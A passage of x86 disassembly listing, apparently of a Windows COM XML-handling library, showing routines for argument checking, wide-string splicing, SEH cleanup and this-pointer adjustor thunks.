; ---------------------------------------------------------------------------


loc_69B53D6C:				; DATA XREF: .text:69B53DC4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B53D75:				; DATA XREF: .text:69B53DC8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B53D8D:				; CODE XREF: .text:69B53D07j
					; .text:69B53D19j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B53DA4
; ---------------------------------------------------------------------------


loc_69B53D93:				; CODE XREF: .text:69B53CCFj
					; .text:69B53CDAj
		push	0C00CE218h
		call	sub_69B2D34C


loc_69B53D9D:				; CODE XREF: .text:69B53CC1j
		mov	dword ptr [ebp-30h], 80070057h


loc_69B53DA4:				; CODE XREF: .text:69B53CE0j
					; .text:69B53D91j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B53DB8:				; CODE XREF: .text:69B53CA2j
		call	sub_69B1853C
		retn	10h
; ---------------------------------------------------------------------------
dword_69B53DC0	dd 0FFFFFFFFh			dd offset loc_69B53D6C
		dd offset loc_69B53D75
; ---------------------------------------------------------------------------


loc_69B53DCC:				; CODE XREF: .text:69B5466Dj
					; DATA XREF: .text:69B2880Co
		push	2Ch
		push	offset dword_69B53EC0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B53DF1
		mov	eax, 80004005h
		jmp	loc_69B53EB4
; ---------------------------------------------------------------------------


loc_69B53DF1:				; CODE XREF: .text:69B53DE5j
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B53E04
		push	dword ptr [ebp+0Ch]
		call	ds:lstrlenW	; lstrlenW
		mov	[ebp-20h], eax
		jmp	short loc_69B53E07
; ---------------------------------------------------------------------------


loc_69B53E04:				; CODE XREF: .text:69B53DF4j
		mov	[ebp-20h], ebx


loc_69B53E07:				; CODE XREF: .text:69B53E02j
		cmp	[ebp-20h], ebx
		jz	loc_69B53EA9
		mov	edi, [ebp+8]
		push	dword ptr [edi+20h]
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-30h]
		call	sub_69B40E2F
		mov	[ebp-4], ebx
		mov	eax, [edi+20h]
		mov	esi, [eax+1Ch]
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	ecx, esi
		call	sub_69B48CEA
		push	1
		push	1
		push	1
		mov	ecx, esi
		call	sub_69B4AAFC
		mov	ecx, eax
		call	sub_69B2F36F
		mov	[ebp-3Ch], eax
		test	eax, eax
		jz	short loc_69B53E5A
		mov	eax, [eax+8]
		mov	[ebp-20h], eax
		jmp	short loc_69B53E5E
; ---------------------------------------------------------------------------


loc_69B53E5A:				; CODE XREF: .text:69B53E50j
		and	dword ptr [ebp-20h], 0


loc_69B53E5E:				; CODE XREF: .text:69B53E58j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B53E8B
; ---------------------------------------------------------------------------


loc_69B53E64:				; DATA XREF: .text:69B53EC4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B53E6D:				; DATA XREF: .text:69B53EC8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	edi, [ebp+8]


loc_69B53E8B:				; CODE XREF: .text:69B53E62j
		lea	ecx, [ebp-30h]
		call	sub_69B18EBA
		test	ebx, ebx
		jnz	short loc_69B53EA9
		mov	eax, [edi]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	dword ptr [ebp-20h]
		push	edi
		call	dword ptr [eax+0C8h]
		mov	ebx, eax


loc_69B53EA9:				; CODE XREF: .text:69B53E0Aj
					; .text:69B53E95j
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B53EB4:				; CODE XREF: .text:69B53DECj
		call	sub_69B1853C
		retn	8
; ---------------------------------------------------------------------------
		align 10h
dword_69B53EC0	dd 0FFFFFFFFh			dd offset loc_69B53E64
		dd offset loc_69B53E6D

; =============== S U B	R O U T	I N E =======================================



sub_69B53ECC	proc near		; CODE XREF: .text:69B54677j
					; DATA XREF: .text:69B28818o
		push	68h
		push	offset dword_69B540F8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		xor	edi, edi
		cmp	ebx, edi
		jz	short loc_69B53F0D
		mov	esi, [ebp+8]
		push	dword ptr [esi+20h]
		push	ebx
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	byte ptr [ebp-2Ch], 0
		jnz	short loc_69B53F17
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	ebx
		call	dword_69B92944


loc_69B53F0D:				; CODE XREF: sub_69B53ECC+1Bj
		mov	eax, 80004005h
		jmp	loc_69B540EA
; ---------------------------------------------------------------------------


loc_69B53F17:				; CODE XREF: sub_69B53ECC+30j
		mov	ebx, [ebp+0Ch]
		cmp	ebx, edi
		jl	loc_69B540C5
		cmp	[ebp+10h], edi
		jl	loc_69B540C5
		mov	[ebp-4], edi
		mov	[ebp-34h], edi
		mov	eax, [esi+20h]
		mov	edi, [eax+1Ch]
		mov	[ebp-38h], edi
		mov	[ebp-3Ch], edi
		mov	ecx, edi
		call	sub_69B48CEA
		push	0
		push	1
		push	1
		mov	ecx, edi
		call	sub_69B4AAFC
		mov	edi, eax
		mov	[ebp-40h], edi
		test	edi, edi
		jz	short loc_69B53F74
		mov	eax, [edi+8]
		mov	[ebp-44h], eax
		mov	ecx, [edi+0Ch]
		mov	[ebp-48h], ecx
		push	eax
		push	eax
		push	ecx
		lea	ecx, [esi-0Ch]
		call	sub_69B52372
		mov	[ebp-34h], eax


loc_69B53F74:				; CODE XREF: sub_69B53ECC+8Cj
		cmp	ebx, [ebp-34h]
		jg	loc_69B5408B
		xor	eax, eax
		mov	[ebp-4Ch], eax
		cmp	[ebp+14h], eax
		jz	short loc_69B53F90
		push	dword ptr [ebp+14h] ; lpString
		call	ds:lstrlenW	; lstrlenW


loc_69B53F90:				; CODE XREF: sub_69B53ECC+B9j
		mov	[ebp-50h], eax
		mov	eax, [ebp+10h]
		add	eax, ebx
		cmp	eax, [ebp-34h]
		jle	short loc_69B53FA5
		mov	eax, [ebp-34h]
		sub	eax, ebx
		mov	[ebp+10h], eax


loc_69B53FA5:				; CODE XREF: sub_69B53ECC+CFj
		mov	eax, [ebp-50h]
		sub	eax, [ebp+10h]
		add	eax, [ebp-34h]
		test	eax, eax
		jle	loc_69B54078
		mov	ebx, [edi+0Ch]
		mov	[ebp-54h], ebx
		mov	edi, [edi+8]
		mov	[ebp-58h], edi
		lea	ecx, [esi-0Ch]
		mov	[ebp-5Ch], ecx
		push	edi
		push	dword ptr [ebp+0Ch]
		push	ebx
		call	sub_69B52341
		mov	edi, eax
		mov	[ebp-60h], edi
		lea	esi, [edi+edi]
		mov	eax, [ebp-58h]
		sub	eax, edi
		push	eax
		push	dword ptr [ebp+10h]
		lea	eax, [esi+ebx]
		push	eax
		mov	ecx, [ebp-5Ch]
		call	sub_69B52341
		mov	[ebp-64h], eax
		mov	eax, [ebp-58h]
		sub	eax, [ebp-64h]
		mov	[ebp-68h], eax
		mov	ecx, [ebp-50h]
		add	eax, ecx
		push	eax
		push	0
		call	sub_69B190D7
		mov	[ebp-4Ch], eax
		test	edi, edi
		jle	short loc_69B5402A
		mov	edi, [eax+0Ch]
		mov	[ebp-6Ch], edi
		mov	ecx, esi
		mov	esi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [ebp-60h]


loc_69B5402A:				; CODE XREF: sub_69B53ECC+141j
		mov	ecx, [ebp-50h]
		test	ecx, ecx
		jle	short loc_69B54044
		mov	eax, [eax+0Ch]
		mov	[ebp-70h], eax
		mov	esi, [ebp+14h]
		add	edi, edi
		add	edi, eax
		rep movsw
		mov	edi, [ebp-60h]


loc_69B54044:				; CODE XREF: sub_69B53ECC+163j
		mov	eax, [ebp-64h]
		lea	edx, [eax+edi]
		cmp	edx, [ebp-58h]
		jge	short loc_69B54078
		mov	eax, [ebp-4Ch]
		mov	eax, [eax+0Ch]
		mov	[ebp-74h], eax
		mov	ecx, [ebp-68h]
		sub	ecx, edi
		shl	ecx, 1
		lea	esi, [ebx+edx*2]
		mov	edx, [ebp-50h]
		add	edi, edx
		lea	edi, [eax+edi*2]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_69B54078:				; CODE XREF: sub_69B53ECC+E4j
					; sub_69B53ECC+181j
		push	0
		push	dword ptr [ebp-4Ch]
		mov	ecx, [ebp-38h]
		call	sub_69B4BAA7
		and	dword ptr [ebp-78h], 0
		jmp	short loc_69B540BF
; ---------------------------------------------------------------------------


loc_69B5408B:				; CODE XREF: sub_69B53ECC+ABj
		push	0C00CE218h
		call	sub_69B2D34C
		mov	dword ptr [ebp-78h], 80070057h
		jmp	short loc_69B540BF
; ---------------------------------------------------------------------------


loc_69B5409E:				; DATA XREF: .text:69B540FCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B540A7:				; DATA XREF: .text:69B54100o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-78h], eax


loc_69B540BF:				; CODE XREF: sub_69B53ECC+1BDj
					; sub_69B53ECC+1D0j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B540D6
; ---------------------------------------------------------------------------


loc_69B540C5:				; CODE XREF: sub_69B53ECC+50j
					; sub_69B53ECC+59j
		push	0C00CE218h
		call	sub_69B2D34C
		mov	dword ptr [ebp-78h], 80070057h


loc_69B540D6:				; CODE XREF: sub_69B53ECC+1F7j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-78h]


loc_69B540EA:				; CODE XREF: sub_69B53ECC+46j
		call	sub_69B1853C
		retn	10h
sub_69B53ECC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B540F8	dd 0FFFFFFFFh			dd offset loc_69B5409E
		dd offset loc_69B540A7
; ---------------------------------------------------------------------------


loc_69B54104:				; DATA XREF: .text:69B2874Co
		push	60h
		push	offset dword_69B54300
		call	sub_69B19C5C
		call	dword_69B92948
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		xor	edi, edi
		cmp	ebx, edi
		jz	short loc_69B54145
		mov	esi, [ebp+8]
		push	dword ptr [esi+1Ch]
		push	ebx
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	byte ptr [ebp-2Ch], 0
		jnz	short loc_69B5414F
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	ebx
		call	dword_69B92944


loc_69B54145:				; CODE XREF: .text:69B5411Fj
		mov	eax, 80004005h
		jmp	loc_69B542F5
; ---------------------------------------------------------------------------


loc_69B5414F:				; CODE XREF: .text:69B54134j
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-34h], ebx
		cmp	[ebp+0Ch], edi
		jge	short loc_69B54166
		push	0C00CE218h
		call	sub_69B2D34C
		jmp	short loc_69B5416D
; ---------------------------------------------------------------------------


loc_69B54166:				; CODE XREF: .text:69B54158j
		mov	eax, [ebp+10h]
		cmp	eax, edi
		jnz	short loc_69B54179


loc_69B5416D:				; CODE XREF: .text:69B54164j
		mov	dword ptr [ebp-34h], 80070057h
		jmp	loc_69B542E1
; ---------------------------------------------------------------------------


loc_69B54179:				; CODE XREF: .text:69B5416Bj
		mov	[eax], edi
		mov	[ebp-4], edi
		mov	eax, [esi+1Ch]
		mov	esi, [eax+1Ch]
		mov	[ebp-38h], esi
		mov	[ebp-3Ch], esi
		mov	ecx, esi
		call	sub_69B48CEA
		push	edi
		push	ebx
		push	ebx
		mov	ecx, esi
		call	sub_69B4AAFC
		mov	[ebp-40h], eax
		mov	ebx, [eax+0Ch]
		mov	[ebp-44h], ebx
		mov	[ebp-48h], edi
		mov	[ebp-4Ch], edi
		mov	edi, [eax+8]
		mov	[ebp-4Ch], edi
		mov	ecx, [ebp+8]
		add	ecx, 0FFFFFFF0h
		mov	[ebp-50h], ecx
		push	edi
		push	edi
		push	ebx
		call	sub_69B52372
		mov	[ebp-48h], eax
		cmp	[ebp+0Ch], eax
		jle	short loc_69B541DF
		push	0C00CE218h
		call	sub_69B2D34C
		mov	dword ptr [ebp-34h], 80070057h
		jmp	loc_69B542A4
; ---------------------------------------------------------------------------


loc_69B541DF:				; CODE XREF: .text:69B541C7j
		test	eax, eax
		jz	loc_69B542A4
		cmp	[ebp+0Ch], eax
		jz	loc_69B542A4
		push	edi
		push	dword ptr [ebp+0Ch]
		push	ebx
		mov	ecx, [ebp-50h]
		call	sub_69B52341
		mov	[ebp-54h], eax
		push	eax
		push	ebx
		call	sub_69B190D7
		mov	[ebp-58h], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	[ebp-5Ch], eax
		mov	ecx, [eax+50h]
		mov	[ebp-60h], ecx
		push	ecx
		push	eax
		push	0
		xor	eax, eax
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		push	eax
		call	sub_69B1BE7F
		mov	[ebp-64h], eax
		mov	ecx, eax
		call	sub_69B48B01
		mov	ebx, eax
		mov	[ebp-68h], ebx
		mov	eax, [ebx]
		push	dword ptr [ebp+10h]
		push	offset dword_69B25DC4
		push	ebx
		call	dword ptr [eax]
		mov	[ebp-34h], eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]
		mov	eax, [ebp-54h]
		sub	edi, eax
		push	edi
		mov	ecx, [ebp-44h]
		lea	eax, [ecx+eax*2]
		push	eax
		call	sub_69B190D7
		mov	[ebp-6Ch], eax
		push	0
		push	eax
		mov	ecx, [ebp-64h]
		call	sub_69B4BAA7
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		mov	[ebp-70h], eax
		test	eax, eax
		jz	short loc_69B54298
		mov	ecx, esi
		call	sub_69B48533
		push	eax
		push	dword ptr [ebp-64h]
		mov	ecx, [ebp-70h]
		call	sub_69B499AC


loc_69B54298:				; CODE XREF: .text:69B54283j
		push	0
		push	dword ptr [ebp-58h]
		mov	ecx, esi
		call	sub_69B4BAA7


loc_69B542A4:				; CODE XREF: .text:69B541DAj
					; .text:69B541E1j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B542E1
; ---------------------------------------------------------------------------


loc_69B542AA:				; DATA XREF: .text:69B54304o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B542B3:				; DATA XREF: .text:69B54308o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp+10h]
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B542E1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		and	dword ptr [esi], 0


loc_69B542E1:				; CODE XREF: .text:69B54174j
					; .text:69B542A8j ...
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-34h]


loc_69B542F5:				; CODE XREF: .text:69B5414Aj
		call	sub_69B1853C
		retn	0Ch
; ---------------------------------------------------------------------------
		align 10h
dword_69B54300	dd 0FFFFFFFFh			dd offset loc_69B542AA
		dd offset loc_69B542B3

; =============== S U B	R O U T	I N E =======================================



sub_69B5430C	proc near		; CODE XREF: sub_69B543F4+38p
					; sub_69B54442+38p ...
		push	34h
		push	offset dword_69B543E8
		call	sub_69B19C5C
		mov	esi, ecx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B54333
		mov	eax, 80004005h
		jmp	loc_69B543DC
; ---------------------------------------------------------------------------


loc_69B54333:				; CODE XREF: sub_69B5430C+1Bj
		push	dword ptr [esi+2Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B5434D
		mov	ebx, 80070057h
		jmp	short loc_69B543C9
; ---------------------------------------------------------------------------


loc_69B5434D:				; CODE XREF: sub_69B5430C+38j
		mov	[ebp-4], ebx
		mov	eax, [esi+2Ch]
		mov	ecx, [eax+1Ch]
		mov	[ebp-30h], ecx
		push	ebx
		push	0Fh
		push	dword ptr [ebp+8]
		call	sub_69B49C1F
		mov	ecx, eax
		mov	[ebp-34h], ecx
		cmp	ecx, ebx
		jz	short loc_69B5439B
		call	sub_69B4B7D5
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jz	short loc_69B5439B
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	[ebp-3Ch], eax
		cmp	eax, ebx
		jz	short loc_69B5439B
		mov	ecx, [eax+0Ch]
		mov	[ebp-40h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi], eax
		jmp	short loc_69B543A0
; ---------------------------------------------------------------------------


loc_69B5439B:				; CODE XREF: sub_69B5430C+5Fj
					; sub_69B5430C+6Bj ...
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx


loc_69B543A0:				; CODE XREF: sub_69B5430C+8Dj
		mov	[ebp-44h], ebx
		jmp	short loc_69B543C5
; ---------------------------------------------------------------------------


loc_69B543A5:				; DATA XREF: .text:69B543ECo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B543AE:				; DATA XREF: .text:69B543F0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B543C5:				; CODE XREF: sub_69B5430C+97j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B543C9:				; CODE XREF: sub_69B5430C+3Fj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B543DC:				; CODE XREF: sub_69B5430C+22j
		call	sub_69B1853C
		retn	8
sub_69B5430C	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B543E8	dd 0FFFFFFFFh			dd offset loc_69B543A5
		dd offset loc_69B543AE

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B543F4	proc near		; CODE XREF: .text:69B5469Fj
					; DATA XREF: .text:69B285C4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_69B5440B
		mov	eax, 80070057h
		jmp	short loc_69B5443D
; ---------------------------------------------------------------------------


loc_69B5440B:				; CODE XREF: sub_69B543F4+Ej
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 9
		push	edi
		mov	edi, eax
		jg	short loc_69B5441E
		call	sub_69B2E6D8


loc_69B5441E:				; CODE XREF: sub_69B543F4+23j
		mov	eax, [edi+30h]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	eax
		add	ecx, 0FFFFFFE8h
		call	sub_69B5430C
		mov	ecx, [ebp+var_4]
		mov	word ptr [esi],	8
		mov	[esi+8], ecx
		pop	edi


loc_69B5443D:				; CODE XREF: sub_69B543F4+15j
		pop	esi
		leave
		retn	8
sub_69B543F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B54442	proc near		; CODE XREF: .text:69B546A9j
					; DATA XREF: .text:69B285C8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_69B54459
		mov	eax, 80070057h
		jmp	short loc_69B5448B
; ---------------------------------------------------------------------------


loc_69B54459:				; CODE XREF: sub_69B54442+Ej
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 0Ah
		push	edi
		mov	edi, eax
		jg	short loc_69B5446C
		call	sub_69B2E6D8


loc_69B5446C:				; CODE XREF: sub_69B54442+23j
		mov	eax, [edi+34h]
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	eax
		add	ecx, 0FFFFFFE8h
		call	sub_69B5430C
		mov	ecx, [ebp+var_4]
		mov	word ptr [esi],	8
		mov	[esi+8], ecx
		pop	edi


loc_69B5448B:				; CODE XREF: sub_69B54442+15j
		pop	esi
		leave
		retn	8
sub_69B54442	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54490	proc near		; DATA XREF: .text:69B285CCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	offset aNdata_0	; "NDATA"
		call	sub_69B11E05
		mov	ecx, [esp+4+arg_0]
		push	eax
		add	ecx, 0FFFFFFE8h
		call	sub_69B5430C
		retn	8
sub_69B54490	endp

; ---------------------------------------------------------------------------


loc_69B544AE:				; DATA XREF: .text:69B283A8o
		push	24h
		push	offset dword_69B54560
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B544D3
		mov	eax, 80004005h
		jmp	loc_69B54553
; ---------------------------------------------------------------------------


loc_69B544D3:				; CODE XREF: .text:69B544C7j
		mov	esi, [ebp+8]
		push	dword ptr [esi+8]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B544F0
		mov	ebx, 80070057h
		jmp	short loc_69B54540
; ---------------------------------------------------------------------------


loc_69B544F0:				; CODE XREF: .text:69B544E7j
		mov	[ebp-4], ebx
		push	38h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-30h], ecx
		test	ecx, ecx
		jz	short loc_69B54516
		mov	eax, [esi+8]
		mov	eax, [eax+1Ch]
		mov	[ebp-34h], eax
		push	7
		push	eax
		call	sub_69B14B8C
		jmp	short loc_69B54518
; ---------------------------------------------------------------------------


loc_69B54516:				; CODE XREF: .text:69B54501j
		xor	eax, eax


loc_69B54518:				; CODE XREF: .text:69B54514j
		mov	[edi], eax
		jmp	short loc_69B5453C
; ---------------------------------------------------------------------------


loc_69B5451C:				; DATA XREF: .text:69B54564o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B54525:				; DATA XREF: .text:69B54568o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B5453C:				; CODE XREF: .text:69B5451Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B54540:				; CODE XREF: .text:69B544EEj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B54553:				; CODE XREF: .text:69B544CEj
		call	sub_69B1853C
		retn	8
; ---------------------------------------------------------------------------
		align 10h
dword_69B54560	dd 0FFFFFFFFh			dd offset loc_69B5451C
		dd offset loc_69B54525
; ---------------------------------------------------------------------------


loc_69B5456C:				; DATA XREF: .text:69B283ACo
		push	24h
		push	offset dword_69B54620
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B54591
		mov	eax, 80004005h
		jmp	loc_69B54611
; ---------------------------------------------------------------------------


loc_69B54591:				; CODE XREF: .text:69B54585j
		mov	esi, [ebp+8]
		push	dword ptr [esi+8]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B545AE
		mov	ebx, 80070057h
		jmp	short loc_69B545FE
; ---------------------------------------------------------------------------


loc_69B545AE:				; CODE XREF: .text:69B545A5j
		mov	[ebp-4], ebx
		push	38h
		call	sub_69B1D897
		mov	ecx, eax
		mov	[ebp-30h], ecx
		test	ecx, ecx
		jz	short loc_69B545D4
		mov	eax, [esi+8]
		mov	eax, [eax+1Ch]
		mov	[ebp-34h], eax
		push	8
		push	eax
		call	sub_69B14B8C
		jmp	short loc_69B545D6
; ---------------------------------------------------------------------------


loc_69B545D4:				; CODE XREF: .text:69B545BFj
		xor	eax, eax


loc_69B545D6:				; CODE XREF: .text:69B545D2j
		mov	[edi], eax
		jmp	short loc_69B545FA
; ---------------------------------------------------------------------------


loc_69B545DA:				; DATA XREF: .text:69B54624o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B545E3:				; DATA XREF: .text:69B54628o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B545FA:				; CODE XREF: .text:69B545D8j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B545FE:				; CODE XREF: .text:69B545ACj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B54611:				; CODE XREF: .text:69B5458Cj
		call	sub_69B1853C
		retn	8
; ---------------------------------------------------------------------------
		align 10h
dword_69B54620	dd 0FFFFFFFFh			dd offset loc_69B545DA
		dd offset loc_69B545E3
; ---------------------------------------------------------------------------


loc_69B5462C:				; DATA XREF: .text:69B28934o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B533E0
; ---------------------------------------------------------------------------


loc_69B54636:				; DATA XREF: .text:69B2887Co
		sub	dword ptr [esp+4], 8
		jmp	sub_69B533E0
; ---------------------------------------------------------------------------


loc_69B54640:				; DATA XREF: .text:69B287ACo
		sub	dword ptr [esp+4], 0Ch
		jmp	sub_69B533E0
; ---------------------------------------------------------------------------


loc_69B5464A:				; DATA XREF: .text:69B286DCo
		sub	dword ptr [esp+4], 10h
		jmp	sub_69B533E0
; ---------------------------------------------------------------------------


loc_69B54654:				; DATA XREF: .text:69B28734o
		sub	dword ptr [esp+4], 4
		jmp	loc_69B53BC4
; ---------------------------------------------------------------------------


loc_69B5465E:				; DATA XREF: .text:69B28738o
		sub	dword ptr [esp+4], 4
		jmp	loc_69B53C84
; ---------------------------------------------------------------------------


loc_69B54668:				; DATA XREF: .text:69B2873Co
		sub	dword ptr [esp+4], 4
		jmp	loc_69B53DCC
; ---------------------------------------------------------------------------


loc_69B54672:				; DATA XREF: .text:69B28748o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B53ECC
; ---------------------------------------------------------------------------


loc_69B5467C:				; DATA XREF: .text:69B2862Co
		sub	dword ptr [esp+4], 14h
		jmp	sub_69B533E0
; ---------------------------------------------------------------------------


loc_69B54686:				; DATA XREF: .text:69B28574o
		sub	dword ptr [esp+4], 18h
		jmp	sub_69B533E0
; ---------------------------------------------------------------------------


loc_69B54690:				; DATA XREF: .text:69B284BCo
		sub	dword ptr [esp+4], 1Ch
		jmp	sub_69B533E0
; ---------------------------------------------------------------------------


loc_69B5469A:				; DATA XREF: .text:69B2850Co
		sub	dword ptr [esp+4], 4
		jmp	sub_69B543F4
; ---------------------------------------------------------------------------


loc_69B546A4:				; DATA XREF: .text:69B28510o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B54442
; ---------------------------------------------------------------------------


loc_69B546AE:				; DATA XREF: .text:69B2840Co
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B533E0
; ---------------------------------------------------------------------------


loc_69B546B8:				; DATA XREF: .text:69B28354o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B533E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B546C2	proc near		; DATA XREF: .text:off_69B127E0o

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B546DC
		mov	eax, 80004005h
		jmp	short locret_69B5473C
; ---------------------------------------------------------------------------


loc_69B546DC:				; CODE XREF: sub_69B546C2+11j
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		lea	ecx, [ebx+4]
		call	sub_69B87FDC
		push	eax
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		call	sub_69B1A8C7
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFD0
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B54716
